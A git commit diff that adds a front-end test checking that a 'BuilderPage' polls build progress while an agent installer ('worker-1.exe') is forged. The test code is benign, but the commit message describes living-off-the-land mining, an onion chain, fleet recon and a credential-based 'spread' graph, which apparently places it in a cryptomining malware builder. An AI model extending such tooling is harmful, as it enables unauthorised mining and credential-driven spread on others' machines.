Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -291,4 +291,45 @@ describe('BuilderPage', () => {
|
||||
expect(api.buildAgent).toHaveBeenCalled();
|
||||
expect(api.exportSpreadKit).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('polls builder progress endpoint while a forge is running', async () => {
|
||||
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
|
||||
let resolveBuild!: (value: BuildResult) => void;
|
||||
vi.spyOn(api, 'buildAgent').mockReturnValue(
|
||||
new Promise<BuildResult>((resolve) => {
|
||||
resolveBuild = resolve;
|
||||
}),
|
||||
);
|
||||
|
||||
const fetchMock = vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
json: async () => ({ stage: 'Compiling agent', pct: 42 }),
|
||||
});
|
||||
vi.stubGlobal('fetch', fetchMock);
|
||||
|
||||
renderBuilder();
|
||||
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
|
||||
fireEvent.click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
|
||||
|
||||
await waitFor(
|
||||
() => {
|
||||
expect(fetchMock).toHaveBeenCalledWith(
|
||||
expect.stringMatching(/\/api\/v1\/builder\/progress\//),
|
||||
expect.objectContaining({ headers: expect.any(Object) }),
|
||||
);
|
||||
},
|
||||
{ timeout: 3000 },
|
||||
);
|
||||
|
||||
resolveBuild({
|
||||
success: true,
|
||||
file_name: 'worker-1.exe',
|
||||
file_size: 1024,
|
||||
download_url: '/api/v1/builds/test/download',
|
||||
fusion_enabled: false,
|
||||
obfuscated: false,
|
||||
signed: false,
|
||||
});
|
||||
await waitFor(() => expect(screen.getByText('worker-1.exe')).toBeInTheDocument());
|
||||
});
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user